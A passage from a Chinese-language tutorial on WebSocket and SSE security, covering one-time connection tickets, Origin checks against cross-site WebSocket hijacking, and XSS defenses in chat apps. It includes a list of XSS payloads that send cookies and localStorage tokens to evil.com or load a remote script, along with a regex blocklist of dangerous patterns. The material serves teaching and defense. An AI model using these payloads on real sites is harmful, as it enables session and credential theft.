            log.warn("[WS-Ticket] ticket 的 IP 不匹配. expect={}, actual={}",
                     info.clientIp(), clientIp);
            return null;
        }

        // ④ 校验 UA(防止 ticket 被复制到别的客户端)
        if (!hashUA(userAgent).equals(info.uaHash())) {
            log.warn("[WS-Ticket] ticket 的 UA 不匹配. userId={}", info.userId());
            return null;
        }

        // ⑤ 校验时间(Redis TTL 已经保证了,这里是双保险)
        if (System.currentTimeMillis() - info.issuedAt() > TICKET_TTL.toMillis()) {
            return null;
        }

        return info.userId();
    }

    private String hashUA(String userAgent) {
        if (userAgent == null) return "unknown";
        return DigestUtils.sha256Hex(userAgent).substring(0, 16);
    }

    record TicketInfo(Long userId, String clientIp, String uaHash, long issuedAt) {}
}

前端配合:

/**
 * WebSocket 客户端:ticket 模式
 *
 * 关键点:
 *   1. 先 HTTPS 换 ticket,再连 WS(Token 不出现在 URL)
 *   2. ticket 用完即弃,重连要重新申请
 *   3. 断线重连要退避,不能疯狂重试(打爆服务端)
 */
class SecureWebSocketClient {

  constructor(baseUrl) {
    this.baseUrl = baseUrl;
    this.ws = null;
    this.retryCount = 0;
    this.maxRetry = 5;
    this.messageHandlers = new Map();
    this.closedByUser = false;
  }

  async connect() {
    // ① 先换 ticket(走普通 HTTPS,带正常 Token)
    const resp = await fetch(`${this.baseUrl}/api/ws/ticket`, {
      method: 'POST',
      credentials: 'include',      // 带 Cookie
      headers: { 'Content-Type': 'application/json' }
    });

    if (!resp.ok) {
      throw new Error('获取 ticket 失败,请重新登录');
    }

    const { ticket } = await resp.json();

    // ② 用 ticket 连接(注意:URL 里只有 ticket,没有 Token)
    return new Promise((resolve, reject) => {
      const wsUrl = `${this.baseUrl.replace(/^http/, 'ws')}/ws?ticket=${encodeURIComponent(ticket)}`;

      this.ws = new WebSocket(wsUrl);

      // ③ 连接超时保护(WebSocket API 没有超时参数,要自己做)
      const timeout = setTimeout(() => {
        if (this.ws.readyState !== WebSocket.OPEN) {
          this.ws.close();
          reject(new Error('连接超时'));
        }
      }, 10000);

      this.ws.onopen = () => {
        clearTimeout(timeout);
        this.retryCount = 0;      // 连接成功,重置重试计数
        console.log('[WS] 已连接');
        this.startHeartbeat();
        resolve();
      };

      this.ws.onmessage = (event) => {
        this.handleMessage(event.data);
      };

      this.ws.onerror = (error) => {
        clearTimeout(timeout);
        console.error('[WS] 错误', error);
        reject(error);
      };

      this.ws.onclose = (event) => {
        clearTimeout(timeout);
        this.stopHeartbeat();
        console.log(`[WS] 已关闭. code=${event.code}, reason=${event.reason}`);

        // ④ 异常断开才重连(用户主动关闭不重连)
        if (!this.closedByUser && event.code !== 1000) {
          this.scheduleReconnect();
        }

        // ⑤ 特殊关闭码处理
        if (event.code === 4001) {
          // 自定义:认证失效,跳登录
          window.location.href = '/login?reason=ws_auth_expired';
        } else if (event.code === 1013) {
          // 服务过载,延长重连间隔
          this.retryCount += 3;
        }
      };
    });
  }

  /**
   * 指数退避重连
   *
   * 为什么必须退避?
   *   如果服务端挂了,1 万个客户端同时每秒重连一次
   *   = 每秒 1 万次连接请求 = 服务端刚起来又被打死(惊群)
   */
  scheduleReconnect() {
    if (this.retryCount >= this.maxRetry) {
      console.error('[WS] 重连次数超限,停止重连');
      return;
    }

    this.retryCount++;
    // 指数退避 + 随机抖动:1s, 2s, 4s, 8s, 16s(±30% 抖动)
    const baseDelay = Math.min(1000 * Math.pow(2, this.retryCount - 1), 30000);
    const jitter = baseDelay * 0.3 * (Math.random() * 2 - 1);
    const delay = baseDelay + jitter;

    console.log(`[WS] ${Math.round(delay)}ms 后重连(第 ${this.retryCount} 次)`);
    setTimeout(() => this.connect().catch(() => {}), delay);
  }

  /**
   * 心跳保活
   *
   * 为什么要心跳?
   *   ① 保活:中间的 NAT / 防火墙会清理长时间无流量的连接(通常 60s~5min)
   *   ② 检测死连接:客户端断电时不会发 FIN,服务端要等 TCP 超时才知道
   *   ③ 触发服务端空闲超时重置
   */
  startHeartbeat() {
    // 应用级心跳(发 Ping 帧)
    this.heartbeatTimer = setInterval(() => {
      if (this.ws && this.ws.readyState === WebSocket.OPEN) {
        // 方式一:发业务心跳消息(更可控)
        this.send({ type: 'ping', timestamp: Date.now() });

        // 方式二:浏览器 API 不直接支持发 Ping 帧,
        // 所以通常用业务消息模拟
      }
    }, 30000);   // 30 秒一次

    // 死连接检测:如果 90 秒没收到任何消息(包括 pong),认为连接已死
    this.lastMessageTime = Date.now();
    this.deadCheckTimer = setInterval(() => {
      if (Date.now() - this.lastMessageTime > 90000) {
        console.warn('[WS] 90 秒未收到任何消息,判定为死连接,主动重连');
        this.ws.close();
        this.scheduleReconnect();
      }
    }, 10000);
  }

  stopHeartbeat() {
    clearInterval(this.heartbeatTimer);
    clearInterval(this.deadCheckTimer);
  }

  handleMessage(rawData) {
    this.lastMessageTime = Date.now();

    // ★ 安全处理:解析 JSON 必须 try-catch
    let msg;
    try {
      msg = JSON.parse(rawData);
    } catch (e) {
      console.error('[WS] 收到非法 JSON', rawData);
      return;
    }

    // 心跳响应单独处理
    if (msg.type === 'pong') {
      return;
    }

    const handler = this.messageHandlers.get(msg.type);
    if (handler) {
      handler(msg.data);
    } else {
      console.warn('[WS] 未知消息类型', msg.type);
    }
  }

  send(obj) {
    if (this.ws && this.ws.readyState === WebSocket.OPEN) {
      this.ws.send(JSON.stringify(obj));
    } else {
      console.warn('[WS] 未连接,消息丢弃', obj);
    }
  }

  on(type, handler) {
    this.messageHandlers.set(type, handler);
  }

  close() {
    this.closedByUser = true;
    if (this.ws) {
      this.ws.close(1000, '客户端主动关闭');
    }
  }
}

5.2.4 CSWSH 跨站 WebSocket 劫持(回顾 + 补强)

3.8 节已详细讲过,这里补充几个当时没展开的点。

为什么 WebSocket 不受同源策略保护:

同源策略(SOP)保护什么?
  保护"读取响应"——evil.com 的 JS 不能读取 bank.com 的响应内容

同源策略不保护什么?
  不保护"发起请求"——evil.com 可以:
    - 用 <img src="bank.com/transfer?to=evil"> 发起 GET(CSRF 的老套路)
    - 用 WebSocket 连到 bank.com(带 Cookie!)
    - 用 fetch 发 POST(会被 CORS 拦,但请求已经发出去了)

关键差别:
  fetch/XHR:有 CORS 预检,服务端说"不允许"浏览器就不给结果
  WebSocket:★ 没有 CORS 预检机制 ★
             浏览器直接连,带 Cookie,服务端如果不校验 Origin,
             连接直接建立,攻击者能读到所有推送内容

为什么不能像 fetch 那样加自定义头:

// ❌ 这是不可能的,浏览器 API 根本不支持
const ws = new WebSocket('wss://bank.com/ws', {
  headers: { 'Authorization': 'Bearer xxx' }   // ← 这个参数不存在!
});

// WebSocket 构造函数签名(MDN 官方):
//   new WebSocket(url)
//   new WebSocket(url, protocols)     ← 第二个参数只能是"子协议列表"
//
// 所以:
//   ❌ 不能设自定义请求头
//   ❌ 不能设 withCredentials(WebSocket 默认就带 Cookie,关不掉)
//   ✅ 只能靠 Cookie 或 URL 参数或子协议

Origin 校验的正确实现(3.8 给过,这里给加强版):

/**
 * 加强版 Origin 校验拦截器
 *
 * 相比基础版增加了:
 *   ① 支持负载均衡后的多域名
 *   ② 支持内网 IP 白名单(健康检查、内部服务)
 *   ③ 严格的 scheme + host + port 三部分比对(不用 contains)
 *   ④ 校验失败记审计日志(能发现攻击尝试)
 *   ⑤ 支持开发环境豁免(但生产环境强制)
 */
@Component
@Slf4j
public class StrictOriginCheckInterceptor implements HandshakeInterceptor {

    /**
     * 允许的 Origin 完整列表(必须是完整的 scheme://host[:port])
     * ★ 从配置读取,不要硬编码
     */
    @Value("${ws.allowed-origins}")
    private List<String> allowedOrigins;

    /** 是否允许 Origin 缺失(非浏览器客户端可能不带) */
    @Value("${ws.allow-missing-origin:false}")
    private boolean allowMissingOrigin;

    /** 内网 IP 段(K8s Pod / 健康检查) */
    @Value("${ws.internal-ip-ranges:10.,172.16.,192.168.,127.0.0.1}")
    private List<String> internalIpRanges;

    @Autowired
    private AuditLogService auditLogService;

    private Set<OriginInfo> parsedOrigins;

    @PostConstruct
    public void init() {
        // 预解析,避免每次握手都解析字符串
        this.parsedOrigins = allowedOrigins.stream()
                .map(OriginInfo::parse)
                .filter(Objects::nonNull)
                .collect(Collectors.toSet());
        log.info("[WS] 已加载允许的 Origin: {}", parsedOrigins);
    }

    @Override
    public boolean beforeHandshake(ServerHttpRequest request,
                                   ServerHttpResponse response,
                                   WebSocketHandler wsHandler,
                                   Map<String, Object> attributes) throws Exception {

        String origin = request.getHeaders().getFirst("Origin");
        String clientIp = extractClientIp(request);
        String userAgent = request.getHeaders().getFirst("User-Agent");

        // ===== 情况 1:没有 Origin 头 =====
        // 谁会不带 Origin?
        //   - 非浏览器的 WebSocket 客户端(Python/Java/Go 库)
        //   - 老版本浏览器
        //   - 攻击者用脚本连接(故意不带,试图绕过)
        //
        // 怎么办?
        //   生产环境:默认是拒绝的(allowMissingOrigin=false)
        //   如果业务确实有非浏览器客户端,应该让它们走另一套认证
        //   (比如 mTLS 或 API Key),而不是放开 Origin 校验
        if (origin == null || origin.isBlank()) {
            if (allowMissingOrigin) {
                log.debug("[WS] 允许缺失 Origin(配置允许). ip={}", clientIp);
                return true;
            }
            log.warn("[WS] 拒绝:缺少 Origin 头. ip={}, ua={}", clientIp, userAgent);
            response.setStatusCode(HttpStatus.FORBIDDEN);
            auditLogService.logSecurityEvent("WS_MISSING_ORIGIN",
                "WebSocket 握手缺少 Origin", clientIp, userAgent);
            return false;
        }

        // ===== 情况 2:有 Origin,逐个校验 =====
        OriginInfo originInfo = OriginInfo.parse(origin);
        if (originInfo == null) {
            log.warn("[WS] 拒绝:Origin 格式非法. origin={}, ip={}", origin, clientIp);
            response.setStatusCode(HttpStatus.FORBIDDEN);
            return false;
        }

        // 2.1 是否在白名单里(严格三部分比对)
        for (OriginInfo allowed : parsedOrigins) {
            if (allowed.matches(originInfo)) {
                log.debug("[WS] Origin 校验通过. origin={}", origin);
                return true;
            }
        }

        // 2.2 是否来自内网(需要同时验证客户端 IP 也是内网,防伪造 Origin + 外网访问)
        if (isInternalIp(clientIp) && isInternalOrigin(originInfo)) {
            log.debug("[WS] 内网来源放行. origin={}, ip={}", origin, clientIp);
            return true;
        }

        // ===== 情况 3:都不匹配,拒绝 =====
        log.warn("[WS] 拒绝:Origin 不在白名单. origin={}, ip={}, ua={}",
                 origin, clientIp, userAgent);
        response.setStatusCode(HttpStatus.FORBIDDEN);

        // ★ 记录审计:Origin 不匹配是 CSWSH 攻击的典型特征
        auditLogService.logSecurityEvent("WS_ORIGIN_REJECTED",
            String.format("Origin 校验失败: %s(疑似 CSWSH 攻击)", origin),
            clientIp, userAgent);

        return false;
    }

    @Override
    public void afterHandshake(ServerHttpRequest request,
                               ServerHttpResponse response,
                               WebSocketHandler wsHandler,
                               Exception exception) {
        // 握手后无需处理
    }

    /**
     * 严格三部分比对
     *
     * ★ 常见错误写法:
     *   if (origin.contains("example.com"))  ← 大错!
     *   这些都能绕过:
     *     https://example.com.evil.com
     *     https://evil.com/?x=example.com
     *     https://example.com@evil.com
     */
    static class OriginInfo {
        final String scheme;
        final String host;
        final int port;

        OriginInfo(String scheme, String host, int port) {
            this.scheme = scheme.toLowerCase();
            this.host = host.toLowerCase();
            this.port = port;
        }

        static OriginInfo parse(String origin) {
            try {
                URI uri = URI.create(origin.trim());
                String scheme = uri.getScheme();
                String host = uri.getHost();

                if (scheme == null || host == null) {
                    return null;
                }

                int port = uri.getPort();
                if (port == -1) {
                    // 没写端口,用协议默认端口
                    port = "https".equalsIgnoreCase(scheme) ? 443 : 80;
                }

                return new OriginInfo(scheme, host, port);
            } catch (IllegalArgumentException e) {
                return null;
            }
        }

        boolean matches(OriginInfo other) {
            // 三部分全等(host 已转小写,避免大小写绕过)
            return this.scheme.equals(other.scheme)
                && this.host.equals(other.host)
                && this.port == other.port;
        }

        @Override
        public String toString() {
            return scheme + "://" + host + ":" + port;
        }

        @Override
        public boolean equals(Object o) {
            if (!(o instanceof OriginInfo other)) return false;
            return matches(other);
        }

        @Override
        public int hashCode() {
            return Objects.hash(scheme, host, port);
        }
    }

    private boolean isInternalIp(String ip) {
        if (ip == null) return false;
        return internalIpRanges.stream().anyMatch(ip::startsWith);
    }

    private boolean isInternalOrigin(OriginInfo info) {
        return isInternalIp(info.host)
            || info.host.endsWith(".svc.cluster.local")
            || "localhost".equals(info.host);
    }

    private String extractClientIp(ServerHttpRequest request) {
        String xff = request.getHeaders().getFirst("X-Forwarded-For");
        if (xff != null && !xff.isBlank()) {
            return xff.split(",")[0].trim();
        }
        if (request.getRemoteAddress() != null) {
            return request.getRemoteAddress().getAddress().getHostAddress();
        }
        return "unknown";
    }
}

CSWSH 的补充防御(3.8 没讲的):

防御手段 原理 强度 说明
Origin 校验 只认自己域名 ★★★★★ 浏览器场景根治,但非浏览器客户端无效
Token 认证(非 Cookie) 连接时带 Token ★★★★★ 非浏览器场景必需,Token 存在 JS 内存里(不是 Cookie),恶意站点拿不到
SameSite=Strict Cookie Cookie 不随跨站请求发 ★★★★ 从根源上让 CSWSH 拿不到 Cookie
一次性 ticket 短期、单次、绑定 IP+UA ★★★★★ 即使被劫持也没用
订阅归属校验 检查订阅的频道属于当前用户 ★★★★★ 最后一道防线,即使连上了也拿不到别人的数据
CSRF Token 双重提交 握手时校验 ★★★ 增加复杂度,前几条够用时不必须

面试话术: “WebSocket 不受同源策略保护,是因为同源策略管的是’读取响应’, 而 WebSocket 是一次握手后的持续通道,设计上就没纳入 CORS 体系。 而且浏览器 WebSocket API 不允许设置自定义请求头,所以不能像 fetch 那样带 Authorization。

防御分两层: 浏览器场景靠 Origin 校验(服务端严格比对 scheme+host+port,不能用 contains); 非浏览器场景(App、服务端间调用)Origin 可以随便伪造,必须靠 Token 或一次性 ticket。

但最根本的是:Origin 校验只是门禁,订阅鉴权才是房间锁。 即使攻击者绕过了门禁,只要每个订阅频道都校验归属,他还是拿不到别人的数据。 这就是纵深防御——不能只靠一道防线。“

5.2.5 消息注入与 XSS(聊天室重灾区)

WebSocket 里的 XSS 比 HTTP 更难防,因为:

  1. WAF 看不见(前面说过)
  2. 开发容易忘记转义(觉得“这是实时消息,不是页面”)
  3. 消息直接进 DOM(innerHTML = msg.content)

典型漏洞代码:

// ❌ 漏洞代码:直接把 WebSocket 消息插进 DOM
ws.onmessage = function(event) {
  const msg = JSON.parse(event.data);
  // 危险!msg.content 可能是:<img src=x onerror="fetch('//evil.com?c='+document.cookie)">
  document.getElementById('chat').innerHTML +=
    `<div class="msg"><b>${msg.nickname}</b>: ${msg.content}</div>`;
};

攻击 Payload 一览:

// ① 经典 XSS(偷 Cookie)
<img src=x onerror="fetch('//evil.com/steal?c='+document.cookie)">

// ② 偷 localStorage 里的 Token(现在更常见,因为 Cookie 有 HttpOnly)
<img src=x onerror="fetch('//evil.com/steal?t='+localStorage.getItem('token'))">

// ③ 劫持 WebSocket 连接(更隐蔽——偷完 Token 还能继续控制)
<img src=x onerror="
  const s=document.createElement('script');
  s.src='//evil.com/ws-hijack.js';
  document.body.appendChild(s);
">

// ④ SVG 绕过(有些过滤器只拦 <script> 和 <img onerror>)
<svg/onload="alert(document.domain)">

// ⑤ 不需要标签的绕过(如果过滤器只过滤标签)
" autofocus onfocus="alert(1)" x="

// ⑥ 利用 Markdown 渲染(很多聊天室支持 Markdown)
[点我](javascript:fetch('//evil.com?c='+document.cookie))
![x](x" onerror="alert(1))

// ⑦ 昵称字段注入(很多人只转义消息内容,忘记转义昵称)
nickname = "<script>alert(1)</script>"

// ⑧ 利用 JSON 字段(如果前端把整个对象塞进 DOM)
{"type":"msg","html":"<img src=x onerror=...>"}

✅ 正确防御(四层):

/**
 * 第一层:永远用 textContent,不用 innerHTML
 *
 * 这是最根本的防御——textContent 会把内容当纯文本,
 * 不管里面有什么 HTML/JS 标签,都只会显示成文字。
 */
function renderMessageSafe(msg) {
  const div = document.createElement('div');
  div.className = 'msg';

  // 昵称
  const nameSpan = document.createElement('span');
  nameSpan.className = 'nickname';
  nameSpan.textContent = msg.nickname;      // ✅ 安全
  div.appendChild(nameSpan);

  // 内容
  const contentSpan = document.createElement('span');
  contentSpan.className = 'content';
  contentSpan.textContent = msg.content;    // ✅ 安全
  div.appendChild(contentSpan);

  document.getElementById('chat').appendChild(div);
}


/**
 * 第二层:如果确实需要富文本(比如支持表情、@某人、链接),
 * 用 DOMPurify 做白名单过滤
 *
 * 为什么不用自己写正则?
 *   黑名单永远写不全,HTML 的绕过姿势有几百种。
 *   DOMPurify 是业界标准,经过大量实战检验。
 */
import DOMPurify from 'dompurify';

function renderRichMessage(msg) {
  const clean = DOMPurify.sanitize(msg.content, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'br', 'code'],
    ALLOWED_ATTR: ['href'],
    ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,   // ★ 禁止 javascript: 协议
    FORBID_TAGS: ['script', 'style', 'iframe', 'object', 'embed'],
    FORBID_ATTR: ['onerror', 'onload', 'onclick', 'style']
  });

  // 即使净化了,还是建议用 textContent 之外的手段时再检查一次
  const div = document.createElement('div');
  div.innerHTML = clean;      // 这里安全,因为已经过了 DOMPurify
  document.getElementById('chat').appendChild(div);
}


/**
 * 第三层:内容安全策略 CSP(兜底)
 *
 * 即使前面两层都漏了,CSP 能让攻击无法成功:
 *   - 禁止内联脚本执行
 *   - 限制脚本只能从指定域名加载
 *   - 禁止向外部域名发请求(connect-src)
 */
// 服务端响应头:
// Content-Security-Policy:
//   default-src 'self';
//   script-src 'self';                    ← 只能加载本站脚本
//   connect-src 'self' wss://api.example.com;  ← 只能连本站 WebSocket
//   img-src 'self' data: https:;
//   object-src 'none';                    ← 禁止 Flash 等插件
//   base-uri 'self';
//   frame-ancestors 'none';               ← 禁止被 iframe 嵌套(防点击劫持)


/**
 * 第四层:服务端入站过滤(不是主要防御,但要加)
 */
/**
 * 服务端消息入站校验
 *
 * 生活类比:
 *   前端转义 = 收到快递先消毒(可能被绕过)
 *   服务端过滤 = 发货前检查(源头控制)
 *   两道都做,因为攻击者可以不用你的前端,直接写脚本连 WebSocket 发消息
 *
 * ★ 关键认知:
 *   只要有客户端,攻击者就能绕过客户端。
 *   所以服务端的校验才是真正的防线。
 */
@Component
@Slf4j
public class WebSocketMessageValidator {

    /** 消息内容最大长度 */
    private static final int MAX_CONTENT_LENGTH = 2000;
    /** 昵称最大长度 */
    private static final int MAX_NICKNAME_LENGTH = 32;

    /** 危险内容正则(黑名单,作为辅助手段) */
    private static final List<Pattern> DANGEROUS_PATTERNS = List.of(
        Pattern.compile("<\\s*script", Pattern.CASE_INSENSITIVE),
        Pattern.compile("javascript\\s*:", Pattern.CASE_INSENSITIVE),
        Pattern.compile("\\son\\w+\\s*=", Pattern.CASE_INSENSITIVE),   // onerror= onload=
        Pattern.compile("<\\s*iframe", Pattern.CASE_INSENSITIVE),
        Pattern.compile("<\\s*svg[^>]*onload", Pattern.CASE_INSENSITIVE),
        Pattern.compile("expression\\s*\\(", Pattern.CASE_INSENSITIVE),  // 老 IE CSS 执行
        Pattern.compile("data\\s*:\\s*text/html", Pattern.CASE_INSENSITIVE)
    );

    /**
     * 校验并清洗消息
     *
     * @return 清洗后的消息,null 表示拒绝
     */
    public ChatMessage validateAndSanitize(ChatMessage raw, Long senderId) {
        // ===== ① 长度校验 =====
        if (raw.getContent() == null || raw.getContent().isBlank()) {
            throw new BizException("消息内容不能为空");
        }
        if (raw.getContent().length() > MAX_CONTENT_LENGTH) {
            throw new BizException("消息内容过长(最多 " + MAX_CONTENT_LENGTH + " 字)");
        }
        if (raw.getNickname() != null && raw.getNickname().length() > MAX_NICKNAME_LENGTH) {
            throw new BizException("昵称过长");
        }

        // ===== ② 类型白名单(防止客户端伪造系统消息)=====
        if (!isAllowedMessageType(raw.getType())) {
            log.warn("[WS] 非法的消息类型. type={}, senderId={}", raw.getType(), senderId);
            throw new BizException("非法的消息类型");
        }

        // ===== ③ 危险内容检测 =====
        String content = raw.getContent();
        for (Pattern pattern : DANGEROUS_PATTERNS) {
            if (pattern.matcher(content).find()) {
                log.warn("[WS] 检测到危险内容. senderId={}, pattern={}, content={}",
                         senderId, pattern.pattern(), truncate(content, 100));

                // 记录安全事件(攻击者可能在探测)
                securityEventService.record("WS_XSS_ATTEMPT", senderId, content);
                throw new BizException("消息内容包含不安全的内容");
            }
        }

        // ===== ④ 控制字符清理 =====
        // 有些控制字符会导致日志注入、终端转义序列攻击
        content = removeControlCharacters(content);

        // ===== ⑤ 服务端设置可信字段(不信任客户端传的)=====
        return ChatMessage.builder()
                .type(raw.getType())
                .content(content)
                .nickname(raw.getNickname())
                // ★ 这些字段服务端强制覆盖,客户端传什么都不认
                .senderId(senderId)
                .serverTimestamp(System.currentTimeMillis())
                .isAdmin(false)                 // 是否管理员:服务端查
                .isSystemMessage(false)         // 系统消息:只有服务端能发
                .build();
    }

    /**
     * 移除控制字符(保留换行和制表符)
     */
    private String removeControlCharacters(String input) {
        return input.chars()
                .filter(c -> c >= 0x20 || c == '\n' || c == '\t' || c == '\r')
                .collect(StringBuilder::new,
                         StringBuilder::appendCodePoint,
                         StringBuilder::append)
                .toString();
    }

    private boolean isAllowedMessageType(String type) {
        return Set.of("text", "image", "emoji", "file").contains(type);
    }

    private String truncate(String s, int max) {
        return s.length() <= max ? s : s.substring(0, max) + "...";
    }
}

★ 服务端也要防“消息洪水”(Message Flood):

/**
 * 消息级限流器
 *
 * ★ 关键:限流维度是"消息数",不是"HTTP 请求数"
 *   一条 WebSocket 连接 = 1 个 HTTP 请求,但能发无限条消息
 *
 * 四个维度都要限:
 *   ① 每秒消息数(防刷屏)
 *   ② 每分钟字节数(防带宽耗尽)
 *   ③ 相同内容重复数(防复制粘贴刷屏)
 *   ④ 违规次数(累积后封禁)
 */
@Component
@Slf4j
public class WebSocketMessageRateLimiter {

    @Autowired
    private StringRedisTemplate redis;

    /** 每连接每秒最多 10 条消息 */
    private static final int MAX_MESSAGES_PER_SECOND = 10;
    /** 每连接每分钟最多 100KB */
    private static final int MAX_BYTES_PER_MINUTE = 100 * 1024;
    /** 每分钟重复内容最多 3 次 */
    private static final int MAX_DUPLICATE_PER_MINUTE = 3;
    /** 1 分钟内违规 5 次 → 断开连接 */
    private static final int MAX_VIOLATIONS = 5;

    /**
     * 滑动窗口限流 Lua 脚本
     *
     * 为什么用 Lua?
     *   限流需要"读-判断-写"三步,并发下必须用 Lua 保证原子性,
     *   否则 100 个并发请求同时读到 count=9,全部放行。
     */
    private static final String SLIDING_WINDOW_LUA = """
        local key = KEYS[1]
        local now = tonumber(ARGV[1])
        local window = tonumber(ARGV[2])
        local limit = tonumber(ARGV[3])
        local member = ARGV[4]

        -- 移除窗口外的旧数据
        redis.call('ZREMRANGEBYSCORE', key, 0, now - window)

        -- 统计窗口内的数量
        local count = redis.call('ZCARD', key)

        if count >= limit then
            return {0, count}   -- 超限,返回 0 表示拒绝
        end

        -- 加入当前请求
        redis.call('ZADD', key, now, member)
        redis.call('PEXPIRE', key, window)

        return {1, count + 1}   -- 通过
        """;

    /**
     * 检查是否允许发送
     *
     * @return 限流结果
     */
    public RateLimitResult checkAllow(Long userId, String sessionId, String content) {
        String now = String.valueOf(System.currentTimeMillis());

        // ===== ① 每秒消息数限流 =====
        String secKey = "ws:rate:msg:" + userId + ":" + sessionId;
        List<Long> secResult = redis.execute(
            new DefaultRedisScript<>(SLIDING_WINDOW_LUA, List.class),
            List.of(secKey),
            now, "1000", String.valueOf(MAX_MESSAGES_PER_SECOND),
            now + "-" + ThreadLocalRandom.current().nextInt(1000000)
        );

        if (secResult == null || secResult.get(0) == 0) {
            log.warn("[WS] 消息频率超限. userId={}, count={}", userId,
                     secResult != null ? secResult.get(1) : -1);
            return recordViolation(userId, "消息发送过于频繁,请慢一点");
        }

        // ===== ② 每分钟字节数限流 =====
        int bytes = content.getBytes(StandardCharsets.UTF_8).length;
        String byteKey = "ws:rate:bytes:" + userId;
        Long totalBytes = redis.opsForValue().increment(byteKey, bytes);
        if (totalBytes != null && totalBytes == bytes) {
            redis.expire(byteKey, Duration.ofMinutes(1));
        }
        if (totalBytes != null && totalBytes > MAX_BYTES_PER_MINUTE) {
            return recordViolation(userId, "发送数据量超限,请稍后再试");
        }

        // ===== ③ 重复内容检测 =====
        String contentHash = DigestUtils.sha256Hex(content);
        String dupKey = "ws:rate:dup:" + userId + ":" + contentHash;
        Long dupCount = redis.opsForValue().increment(dupKey);
        if (dupCount != null && dupCount == 1) {
            redis.expire(dupKey, Duration.ofMinutes(1));
        }
        if (dupCount != null && dupCount > MAX_DUPLICATE_PER_MINUTE) {
            return recordViolation(userId, "请勿重复发送相同内容");
        }

        return RateLimitResult.allowed();
    }

    /**
     * 记录违规,超限则要求断开
     */
    private RateLimitResult recordViolation(Long userId, String reason) {
        String violateKey = "ws:violation:" + userId;
        Long violations = redis.opsForValue().increment(violateKey);
        if (violations != null && violations == 1) {
            redis.expire(violateKey, Duration.ofMinutes(5));
        }

        if (violations != null && violations >= MAX_VIOLATIONS) {
            log.warn("[WS] 用户违规次数过多,断开连接. userId={}, violations={}",
                     userId, violations);
            // 封禁 10 分钟
            redis.opsForValue().set("ws:ban:" + userId, "1", Duration.ofMinutes(10));
            return RateLimitResult.disconnect("违规次数过多,连接已断开");
        }

        return RateLimitResult.rejected(reason, violations.intValue());
    }

    /**
     * 检查用户是否在封禁名单
     */
    public boolean isBanned(Long userId) {
        return Boolean.TRUE.equals(redis.hasKey("ws:ban:" + userId));
    }

    public record RateLimitResult(
        boolean allowed,        // 是否放行
        boolean shouldDisconnect,  // 是否应该断开连接
        String reason,          // 拒绝原因
        int violationCount      // 当前违规次数
    ) {
        public static RateLimitResult allowed() {
            return new RateLimitResult(true, false, null, 0);
        }
        public static RateLimitResult rejected(String reason, int count) {
            return new RateLimitResult(false, false, reason, count);
        }
        public static RateLimitResult disconnect(String reason) {
            return new RateLimitResult(false, true, reason, MAX_VIOLATIONS);
        }
    }
}

在 Handler 里使用:

@Component
@Slf4j
public class SecureChatWebSocketHandler extends TextWebSocketHandler {

    @Autowired
    private WebSocketMessageRateLimiter rateLimiter;

    @Autowired
    private WebSocketMessageValidator validator;

    @Autowired
    private ChatService chatService;

    @Override
    protected void handleTextMessage(WebSocketSession session, TextMessage message) {
        Long userId = getUserId(session);
        String sessionId = session.getId();

        try {
            // ===== ① 封禁检查 =====
            if (rateLimiter.isBanned(userId)) {
                session.close(CloseStatus.NORMAL.withReason("您已被暂时限制"));
                return;
            }

            // ===== ② 消息大小检查(双保险,容器层已配过)=====
            if (message.getPayloadLength() > 64 * 1024) {
                log.warn("[WS] 消息过大. userId={}, size={}", userId, message.getPayloadLength());
                session.close(CloseStatus.TOO_BIG_TO_PROCESS);
                return;
            }

            // ===== ③ 限流 =====
            RateLimitResult limitResult =
                rateLimiter.checkAllow(userId, sessionId, message.getPayload());
            if (limitResult.shouldDisconnect()) {
                session.close(CloseStatus.POLICY_VIOLATION.withReason(limitResult.reason()));
                return;
            }
            if (!limitResult.allowed()) {
                sendError(session, limitResult.reason(), limitResult.violationCount());
                return;
            }

            // ===== ④ 解析 =====
            ChatMessage raw;
            try {
                raw = objectMapper.readValue(message.getPayload(), ChatMessage.class);
            } catch (JsonProcessingException e) {
                sendError(session, "消息格式错误", 0);
                return;
            }

            // ===== ⑤ 校验 + 清洗 =====
            ChatMessage safe = validator.validateAndSanitize(raw, userId);

            // ===== ⑥ 业务处理 =====
            chatService.saveAndBroadcast(safe);

        } catch (BizException e) {
            sendError(session, e.getMessage(), 0);
        } catch (Exception e) {
            log.error("[WS] 处理消息异常", e);
            sendError(session, "服务器繁忙", 0);
        }
    }

    private void sendError(WebSocketSession session, String msg, int violationCount) {
        try {
            session.sendMessage(new TextMessage(JsonUtil.toJson(Map.of(
                "type", "error",
                "message", msg,
                "violationCount", violationCount
            ))));
        } catch (IOException ignored) {
        }
    }

    private Long getUserId(WebSocketSession session) {
        Principal principal = session.getPrincipal();
        return principal instanceof AuthenticatedUser u ? u.getUserId() : null;
    }
}

5.3 SSE(Server-Sent Events)安全

5.3.1 SSE 是什么(一句话 + 类比)

白话:SSE 就是“服务端单向推送”——浏览器发一次请求,服务端不立即结束响应,而是一直开着,有数据就往里写一点。浏览器这边自动接收。

生活类比:

  • 轮询:你每分钟打电话问快递到哪了(浪费电话费,且最多 1 分钟延迟)
  • WebSocket:你和快递员一直通话(双向,但要占线)
  • SSE:你打电话给快递公司,说“到了告诉我”,然后不挂电话,快递员有消息就说一句(单向,只他跟你说)

SSE vs WebSocket 对比:

维度 SSE WebSocket
通信方向 单向(服务端→客户端) 双向
传输协议 普通 HTTP(text/event-stream) 独立协议(ws:// / wss://)
是否要特殊服务端 ❌ 不需要,任何 HTTP 服务器都行 ✅ 需要支持 WebSocket
自动重连 ✅ 浏览器原生支持 ❌ 要自己写
断线续传 ✅ Last-Event-ID 原生支持 ❌ 要自己做
自定义请求头 ❌ 不能(和 WebSocket 一样) ❌ 不能
二进制数据 ❌ 只能文本(要 base64) ✅ 原生支持
浏览器连接数限制 ⚠️ HTTP/1.1 下每域名 6 个 无此限制
穿透代理 ✅ 就是普通 HTTP,天然穿透 ⚠️ 有些老代理不认 Upgrade
典型场景 AI 打字机输出、通知、进度条、日志流 聊天、协同编辑、游戏

重要认知: 很多人一上来就用 WebSocket,实际上 SSE 更简单、更可靠、更省事。 如果你的场景是“服务端单向推”(AI 流式输出、消息通知、构建日志),优先选 SSE。 SSE 是普通 HTTP,不用改网关、不用改负载均衡、自动重连、天然穿透代理。

5.3.2 SSE 的五个安全问题

// ❌ 这是不可能的
const es = new EventSource('/api/stream', {
  headers: { 'Authorization': 'Bearer ' + token }   // ← 不支持!
});

// EventSource 构造函数签名:
